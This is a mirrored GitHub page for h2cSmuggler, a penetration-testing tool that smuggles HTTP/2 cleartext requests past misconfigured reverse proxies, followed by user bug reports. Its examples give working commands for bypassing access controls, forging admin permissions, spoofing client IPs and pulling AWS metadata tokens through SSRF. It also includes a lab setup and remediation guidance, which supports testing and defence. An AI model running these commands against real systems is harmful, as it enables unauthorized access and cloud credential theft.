Giter Site home page Giter Site logo

h2csmuggler's Introduction

h2cSmuggler

License Python version

Description

h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.

See my detailed write-up below for:

  • Technical breakdown of the vulnerability
  • Insecure-by-default services
  • Remediation guidance

Here: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

How to test?

Any proxy endpoint that forwards h2c upgrade headers can be affected. Because h2c is intended to be performed only on cleartext channels, detection on HTTPS services often yields true positives.

By contrast, HTTP services may result in false positives. For example, h2c-enabled proxies may respond to the upgrade instead of forwarding it to an h2c back end.

Use the --scan-list option to test one or more web servers to look for affected proxy_pass endpoints. Consider using a list of directories discovered from directory enumeration, such as:

urls.txt

https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...

Run h2cSmuggler with the list of endpoints and a total number of threads:

./h2csmuggler.py --scan-list urls.txt --threads 5

Or, an individual test can be performed with:

./h2csmuggler.py -x https://www.example.com/api/ --test

Detecting with other popular tools:

Exploitation

Once you have identified an affected endpoint that can be used for tunneling, you can now access or brute-force internal endpoints on the back-end server and provide custom verbs or headers. In the demo below, we demonstrate accessing an internal /flag endpoint by using h2c smuggling to bypass proxy deny rules.

To remediate, do not forward user-supplied values for Upgrade or Connection headers. See the technical post for additional guidance.

Install Instructions

The only dependency is the Python hyper-h2 library:

pip3 install h2

Test Environment and Demo

The test environment will allow you to experiment with h2cSmuggler in a controlled environment. docker-compose will simulate three chains of proxies that lead to an h2c-enabled Golang back end:

TCP port: Description
========  ===========
8000:     HTTP h2c backend
8001:     HAProxy -> h2c backend (Insecure default configuration)
8002:     nginx -> h2c backend  (Insecure custom configuration)
8003:     Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)

[1] Generate Certificates and spin up the environment with docker-compose:

# Generate certs
./configs/generate-certificates.sh

# Activate services
docker-compose up

All of the proxies deny access to the /flag endpoint accessible on the h2c back end. Let's attempt to access the forbidden endpoint via the HAProxy server running on port 8001:

We can use h2cSmuggler to confirm the proxy's insecure configuration using --test (or -t):

Now, let's use h2cSmuggler to perform an h2c upgrade, tunnel our HTTP/2 traffic through the proxy, and request the /flag endpoint from the back end, bypassing the proxy's access control:

For a deeper explanation of what is happening, check out the technical writeup.

Usage

h2cSmuggler uses a familiar curl-like syntax for describing the smuggled request:

usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
                      [url]

Detect and exploit insecure forwarding of h2c upgrades.

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  --scan-list SCAN_LIST
                        list of URLs for scanning
  --threads THREADS     # of threads (for use with --scan-list)
  --upgrade-only        drop HTTP2-Settings from outgoing Connection header
  -x PROXY, --proxy PROXY
                        proxy server to try to bypass
  -i WORDLIST, --wordlist WORDLIST
                        list of paths to bruteforce
  -X REQUEST, --request REQUEST
                        smuggled verb
  -d DATA, --data DATA  smuggled data
  -H HEADER, --header HEADER
                        smuggled headers
  -m MAX_TIME, --max-time MAX_TIME
                        socket timeout in seconds (type: float; default 10)
  -t, --test            test a single proxy server
  -v, --verbose

Examples

1. Scanning a list of URLs (e.g., https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) to identify proxy_pass endpoints that are susceptible to smuggling (be careful with thread counts when testing a single server):

./h2csmuggler.py --scan-list urls.txt --threads 5

Or, to redirect output to a file. Use stderr (2>) and stdout (1>). The stderr stream contains errors (e.g., SSL handshake/timeout issues), while stdout contains results.

./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

2. Sending a smuggled POST request past https://edgeserver to an internal endpoint:

./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3. Brute-forcing internal endpoints (using HTTP/2 multiplexing), where dirs.txt represents a list of paths (e.g., /api/, /admin/).

/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4. Exploiting Host header SSRF over h2c smuggling (e.g., AWS metadata IMDSv2):

Retrieving the token:

./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

Transmitting the token:

./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5. Spoofing an IP address with the X-Forwarded-For header to access an internal dashboard:

./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

FAQ

Q: Why are there multiple responses from the server?

A: The first response is the data response to the original upgrade request initiated in HTTP/1.1, per the h2c upgrade protocol. The following responses are from the smuggled request.

Q: I received a "101 Switching Protocols" but I'm not receiving any data from the remote server.

A: I observed this behavior in my tests and found that some servers respond with a 101 status even if they do not actually support HTTP/2.

Q: Is establishing an h2c tunnel always a vulnerability?

A: No. Consider a TLS-terminating TCP load balancer (e.g., ELB) proxying directly to an h2c-compatible back end. Although you may be able to establish an h2c connection, if there are no access controls being enforced, then there are no access controls to bypass, or privilege gained by initiating this tunnel.

Q: Why does the smuggled request URI require a scheme? What is it used for?

A: The HTTP/2 protocol requires a :scheme psuedo-header. For our use case, http vs. https likely doesn't matter. For more details, see HTTP/2 RFC: Section 8.1.2.3.

Q: What should I use as the hostname for the back-end server?

A: It's best to start with the same hostname as the edge server. Next, try experimenting with alternative hostname values.

Author

Twitter: @theBumbleSec

GitHub: the-bumble

h2csmuggler's People

Contributors

riramar avatar the-bumble avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

h2csmuggler's Issues

sslv3 alert handshake failure

Hey @BishopFox,

While scanning the target I get multiple errors for sslv3 alert. Can you please suggest me how do I fix this.

$ python3 h2csmuggler.py --scan-list ../urls --threads 5
[INFO] Failed to upgrade: https://domain1.target.tld
[INFO] Failed to upgrade: https://domain2.target.tld
[INFO] Failed to upgrade: https://domain3.target.tld
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain4.target.tld
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain5.target.tld
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain6.target.tld
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain7.target.tld
[INFO] Failed to upgrade: https://domain8.target.tld

Thanks.

Bug

Hi,
When trying to run the tool, getting the following error, this is normal behavior?

Is revenue impacted: [Yes / No]root@kali:~/Desktop/most_used_tools/h2csmuggler# ./h2csmuggler.py -x https://google.com --test
Traceback (most recent call last):
File "./h2csmuggler.py", line 360, in
init()
File "./h2csmuggler.py", line 356, in init
main(args)
File "./h2csmuggler.py", line 191, in main
extra_data = get_upgrade_response(connection)
File "./h2csmuggler.py", line 92, in get_upgrade_response
raise RuntimeError("Not upgrading!")
RuntimeError: Not upgrading!

  • Urgency: [High / Medium / Low]
  • Deadline: [Date]

Description of Bug

What should the expected behavior be

Platform Affected

[ ] Dev
[ ] Preview
[ ] Production

Steps to Reproduce

Steps to reproduce the behavior

Additional context

OS, Desktop/Mobile, Browser, Date/Time,

Relevant screenshots

If applicable, add screenshots to help explain your problem.

Got an error multiple times.

[ERROR] [Errno -5] No address associated with hostname: https://domain.tld/path
[ERROR] [Errno -5] No address associated with hostname: https://domain.tld/path
[ERROR] [Errno -5] No address associated with hostname: https://domain.tld/path
[ERROR] [Errno -5] No address associated with hostname: https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld/path
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld
[ERROR] [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:1123): https://domain.tld

Command: python3 h2csmuggler.py --scan-list h2c_urls.txt --test --threads 800 2>/dev/null

When i manually visit the URLs/Domains/Paths, i can access them with 200/301/302 res code. Help me out please.

Error when build app

error after run docker-compse up

[5/6] RUN go get -d -v ./...:
#9 5.134 get "golang.org/x/net/http2": found meta tag get.metaImport{Prefix:"golang.org/x/net", VCS:"git", RepoRoot:"https://go.googlesource.com/net"} at //golang.org/x/net/http2?go-get=1
#9 5.134 get "golang.org/x/net/http2": verifying non-authoritative meta tag
#9 5.708 golang.org/x/net (download)
#9 10.74 # cd .; git clone -- https://go.googlesource.com/net /go/src/golang.org/x/net
#9 10.74 Cloning into '/go/src/golang.org/x/net'...
#9 10.74 fatal: unable to access 'https://go.googlesource.com/net/': Could not resolve host: go.googlesource.com
#9 10.74 package golang.org/x/net/http2: exit status 128
#9 15.11 get "golang.org/x/net/http2/h2c": found meta tag get.metaImport{Prefix:"golang.org/x/net", VCS:"git", RepoRoot:"https://go.googlesource.com/net"} at //golang.org/x/net/http2/h2c?go-get=1
#9 15.11 get "golang.org/x/net/http2/h2c": verifying non-authoritative meta tag
#9 15.11 package golang.org/x/net/http2/h2c: cannot find package "golang.org/x/net/http2/h2c" in any of:
#9 15.11 /usr/local/go/src/golang.org/x/net/http2/h2c (from $GOROOT)
#9 15.11 /go/src/golang.org/x/net/http2/h2c (from $GOPATH)


executor failed running [/bin/sh -c go get -d -v ./...]: exit code: 1
ERROR: Service 'backend' failed to build : Build failed

ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number

Not sure why but for a few servers I'm getting the error below.

[INFO] Requesting - /
Traceback (most recent call last):
  File "/home/ricardo/Tools/h2csmuggler/h2csmuggler.py", line 382, in <module>
    init()
  File "/home/ricardo/Tools/h2csmuggler/h2csmuggler.py", line 378, in init
    main(args)
  File "/home/ricardo/Tools/h2csmuggler/h2csmuggler.py", line 252, in main
    sendSmuggledRequest(h2_connection,
  File "/home/ricardo/Tools/h2csmuggler/h2csmuggler.py", line 174, in sendSmuggledRequest
    events = getData(h2_connection, connection)
  File "/home/ricardo/Tools/h2csmuggler/h2csmuggler.py", line 106, in getData
    newdata = sock.recv(8192)
  File "/usr/lib/python3.9/ssl.py", line 1226, in recv
    return self.read(buflen)
  File "/usr/lib/python3.9/ssl.py", line 1101, in read
    return self._sslobj.read(len)
ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:2622)

I've double checked and my python3 environment supports TLS 1.1, 1.2 and 1.3. Through the browser I see TLS 1.3.

Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ssl
>>> print(ssl.HAS_TLSv1_1)
True
>>> print(ssl.HAS_TLSv1_2)
True
>>> print(ssl.HAS_TLSv1_3)
True
>>> 

I'm using OpenSSL with the version below.

$ python3 -c 'import ssl; print(ssl.OPENSSL_VERSION)'
OpenSSL 1.1.1k  25 Mar 2021

I tried to disable (code below) a few TLS versions just for troubleshooting but nothing changes.

context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.options |= ssl.OP_NO_TLSv1_2 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_TLSv1

Did you get this error before using h2csmuggler?

Traceback issue

First off, great research, like literally mindblowing, now coming to the bug!
When I am running this tool, after a couple of seconds I am getting this error :

Traceback (most recent call last):
  File "./h2csmuggler.py", line 378, in <module>
    init()
  File "./h2csmuggler.py", line 352, in init
    p.map(scan, lines)
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 364, in map
    return self._map_async(func, iterable, mapstar, chunksize).get()
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 771, in get
    raise self._value
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 125, in worker
    result = (True, func(*args, **kwds))
  File "/usr/lib/python3.8/multiprocessing/pool.py", line 48, in mapstar
    return list(map(*args))
  File "./h2csmuggler.py", line 286, in scan
    connection.shutdown(socket.SHUT_RDWR)
OSError: [Errno 107] Transport endpoint is not connected

Thread Issue

Program hangs after the number of threads used with the tool for example specifying --threads 10, only 10 url request will be sent and program hangs after.

python3 h2csmuggler.py --scan-list ../xxx.txt --threads 10

[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
[INFO] Failed to upgrade.
.....

[ERROR] str, bytes or bytearray expected

Command

python3 h2csmuggler.py --scan-list ../xxx.txt --threads 10

List has urls set like https://google.com

Response

[ERROR] str, bytes or bytearray expected, not NoneType: https://://www.something.com

SSL ERROR

python h2csmuggler.py -x https://xxxxxxxxxx.com --test
C:\Users\m\Desktop\webvulnscanner\h2csmuggler\h2csmuggler.py:49: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
[INFO] Failed to upgrade: https://xxxxxxxxxx.com

exec App error

  • % of customers impacted: [100]%
  • Affected Users: [Engineers / Operators / Customers]
  • Is revenue impacted: [Yes / No]
  • Urgency: [High / Medium / Low]
  • Deadline: [Date]

Description of Bug

What should the expected behavior be

How can I get it?

Platform Affected

[ ] Dev
[ ] Preview
[ ] Production

Steps to Reproduce

Steps to reproduce the behavior

Additional context

OS, Desktop/Mobile, Browser, Date/Time,
Kali 2020.02

Relevant screenshots

If applicable, add screenshots to help explain your problem.
image

Error execution

Hello,

when I run the script I have this error:

h2csmuggler/h2csmuggler.py:49: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
  retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
[INFO] Failed to upgrade: https://example.com

I run the script with python3, 2 and same error.

A greeting and thanks

docker-compose up is error

$ docker-compose up

=> ERROR [5/6] RUN go get -d -v ./...                                    60.2s
------                                                                          
 > [5/6] RUN go get -d -v ./...:                                                
#9 30.25 unrecognized import path "golang.org/x/net/http2": https fetch: Get "https://golang.org/x/net/http2?go-get=1": dial tcp 172.217.160.81:443: i/o timeout
#9 60.21 unrecognized import path "golang.org/x/net/http2/h2c": https fetch: Get "https://golang.org/x/net/http2/h2c?go-get=1": dial tcp 172.217.160.81:443: i/o timeout
------
executor failed running [/bin/sh -c go get -d -v ./...]: exit code: 1
ERROR: Service 'backend' failed to build : Build failed

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.